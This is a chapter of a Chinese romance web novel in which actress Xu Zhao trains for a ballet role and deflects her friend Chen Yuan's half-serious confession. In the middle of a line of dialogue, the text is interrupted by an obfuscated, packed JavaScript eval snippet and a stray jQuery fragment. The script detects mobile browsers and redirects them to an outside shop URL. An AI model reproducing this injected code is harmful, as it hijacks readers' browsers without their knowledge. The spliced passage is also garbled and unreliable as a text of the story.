接下来的一段时间,许昭并不如她前几天想象的那般清闲,反而开始忙碌起来了。李姐紧急通知她,新一期的表演课这几天就要开始。
而同时,许昭每天晚上还有舞蹈课要上,《初恋》里的女主角是芭蕾舞演员,她必须在开拍之前尽可能贴近这个身份。所以剧本的围读只好根据大家的档期改到了白天。
她有过几年中国舞的功底,然而对芭蕾舞并没有什么用。这是两个完全不同的舞种,所以她只能从零开始学起。
这天练完舞已经很晚。
隐隐的阵痛从脚踝处传上来,抽丝剥茧一般的疼,汗水完全濡湿了后背。她坐在地上,忍不住用手揉了揉。要不是实在痛得受不了,她还想再练一会。
于是许昭又跟舞蹈老师说:“老师,明天可以加时吗?我早些来。”
“许姐,你已经练得够久了,这都天黑了。”
还没等舞蹈老师说什么,一旁坐着的任悦忍不住一边打哈欠,眼泪从眼角流出,一边打断她们。
许昭每次进组前都要密集训练一段时间,上回是武打戏,这回是舞蹈,她都严格要求自己,练不好就要加时间。
最夸张的一次是她为了拍一部武侠戏,竟然直接去少林寺待了半个月,为的就是贴近那个好动小师妹的角色。
舞蹈老师答应了,并且鼓励了下许昭。说她其实今天练得不错了,基本功掌握了个大概。
她这才放下心来,在任悦的搀扶下去换好了衣服,又带上口罩,准备回家。
车上,她习惯性打开手机,点开微信。
指尖顿了顿,不自觉又将列表往下滑了滑,停在陈星原那里。
他们的对话还停留在几天前。当时她发了个问号过去,他没有再回复,于是就没有了下文。这几天围读,他也没来。
最近几天的安排实在是太满,她没空去想。
到这时候才觉得有些担心,难道他和陈垣发生了口角?
许昭决定去找陈垣问问,于是让任悦又换了个方向,去陈垣的酒吧。
到酒吧后,许昭直接到走廊最里面的休息室去找陈垣。
房间里没有开灯,电脑屏幕里光怪陆离的游戏画面是唯一的光线,颓然地打在陈垣的侧脸上。
他没什么表情,眼睛低垂着,让她莫名觉得他像是失去了往日的神采一般。
“你来干什么?”他依旧不看她,语气淡淡地问道。
许昭关上门,在他电脑桌旁的床边坐下,觉得他这副失魂落魄的样子实在稀奇。毕竟陈垣这种人好像从来都没有什么在意的东西,吃喝玩乐,谈恋爱也只有他甩别人的份。
于是许昭纳罕地盯着他侧脸,饶有兴趣地开口调侃道:“来看看我们陈小少爷这次是不是被人甩了啊?”
“.......”
陈垣的唇线绷紧,他摘下耳机。自嘲般扯了扯唇角,看向她这个无知的罪魁祸首说:“是吧。”
然而她完全没把他的话放在心里,还没心没肺地笑着。甚至笑得肩膀都在微微发颤,像是听到了天大的笑话。
他看着她终于笑完了,克制着唇角,扶住他的椅子说:“你这就叫自作孽不可活,伤害了太多女孩的心,活该。”
陈垣没说话,只是喉结艰难地滚动了下。
是啊,他这就叫做自作孽不可活,现在才会陷入两难的地步,是放手一搏,还是继续做朋友。
他眼睁睁地看着她喜欢上他哥,而他连告白的话都会被她当作玩笑。
“你还记得高中的时候,我和你说过的话吗?”
许昭觉得奇怪,他们之间说过那么多话。大到人生理想,小到游一起八卦哪对情侣又分手了、游戏卡带又上新了。
她哪里记得他说了哪句话,可陈垣的语气太过认真。她只好也收了收笑,认真地回想了一下。只能想起他以前喜欢过他们班的英语课代表,说这次是认真的,可陈垣都一一否认了。
可她的确是想不起来他说过什么很特别的话。甚至转身,翻出手机,正准备打开微信看一下他们的聊天记录。
“我和你表白过,记得么?”他盯着她说,期待从她眼中看到一些不一样的反应。
许昭停下了翻包的动作,指尖一顿。
她当然记得。
高三那年,陈垣突然在某次课间将她叫出去,给了她一封信。
那是一封情书,里面只有很简单的一句“我喜欢你”。却把当时的她吓得不轻,觉得陈垣疯了。
她明明把他当作好朋友,他不应该喜欢她。
所以当天晚上许昭就把陈垣约到操场,并且在两人并肩的时候,她试探性地去拉了他的手。果然,如她所料。陈垣也被吓了一跳,一副见鬼了的反应,显然也并不是心动。
所以他们最后将这件事归结为高三的压力太大了,许昭也不计前嫌继续和他当好朋友,就当这件事没发生过。
可如今陈垣重提旧事,直觉告诉她这并非高中的一时兴起,他一定是有什么话想说。
于是许昭攥了攥指尖,最后平静地将包包合上。转身过去的时候又若无其事地笑了笑对他说:“我早就不生气了。”
太阳穴突突地跳,她其实很害怕陈垣突然又说出那样的话,她不想因此失去她最好的朋友。
可陈垣却依旧没放过她。他顿了顿,盯着她,说出了许昭最害怕的那句话:“那如果我现在和你表白呢?”
.......
空气一瞬间凝固。
外面喧闹的人群,酒瓶碰撞出的声响都与此刻此地无关,这里只有两个人无言地僵持住。
许昭垂下眼,不自觉攥紧了指尖,最后开口的时候声音有些克制不住地发颤:“那我会觉得很受伤。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788813|210285||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“我把你当成最好的朋友,可你却......”
陈垣听到她发抖的声音,咽了咽嗓子。
然后下一刻又看见她抬起头来,眼神是异常的平静。像是很理智地分析着这句话带来的后果,那发抖的声线像是他的幻觉。
让他突然很后悔,不应该开这样的玩笑。否则她当真的话,他们会连朋友都做不了了。
陈垣定了定心神,最后如往常一般很不在意地哎了一声,说道:“我开玩笑的,别当真啊。”
一颗悬着的心落地,许昭紧绷的神经终于松懈下来。
然后又听到陈垣说:“是家里人总让我带个女生回去,他们管不了陈星原。我想着你也好多年没去我们家了,奶奶也想你了,总说现在只能在电视上看到你。就当是帮我作作弊?”
陈星原、陈家、奶奶。
这三个词组合起来,将她的思绪瞬间拉回到了过去。
是她在那个暑假之后,第一次也是唯一一次去陈家。
那年她大二,陈垣和她说他淘到了绝版的游戏卡带,邀请她去他家一起玩。
风轻轻卷起蓝色的窗帘,一切都是那么静谧,可她的心里却像是有暗流翻涌。她站在半掩着的门前不自觉停了许久,透过门缝打量着这个陈星原高中时曾住过的房间。
她到现在都清楚地记得,他的床的正前方有一面书架,上面整整齐齐地放了许多书,大部分是摄影相关的。
而最中间那一整排却不是书,而是一排她没见过的碟片,有电影的、也有一些唱片。
许昭一眼注意到那张画风最清新最特别的:白云、草地,名字是“那个夏天。”那天她回到家之后上网去搜,发现是久石让的一张唱片,里面收录了宫崎骏的许多动画片的主题曲。
原来他喜欢看宫崎骏的动画。
后来她也开始看,家里摆了一整面墙的cd唱片、电影片。
明明已经有了许多可以和他聊的话了,可她却没有一次有勇气再面对他。
那一场海啸如同她懵懂爱恋里反复的、潮湿的雨季。
后来陈奶奶叫她下去吃饭的时候,还乐呵地说道:“今天这么热闹,要不我把星仔也叫过来?”
她始终记得那天她的心跳漏了一拍,明明来他家之前也想过是不是会见到,却还是慌忙制止了奶奶。
“好。”许昭的思绪回到现实。再看向陈垣时,却突然发现他左边唇角有一块不明显的乌青,猛地想到当时陈星原说“险胜”。
于是下意识皱着眉问他:“那天你和你哥打起来了?”
见陈垣没回答,只是苦笑了下。她便知道自己猜对了。
都多大人了,他居然还会和弟弟打架!
“那你哥也受伤了吗?”
许昭下意识问道。
陈垣:“.......”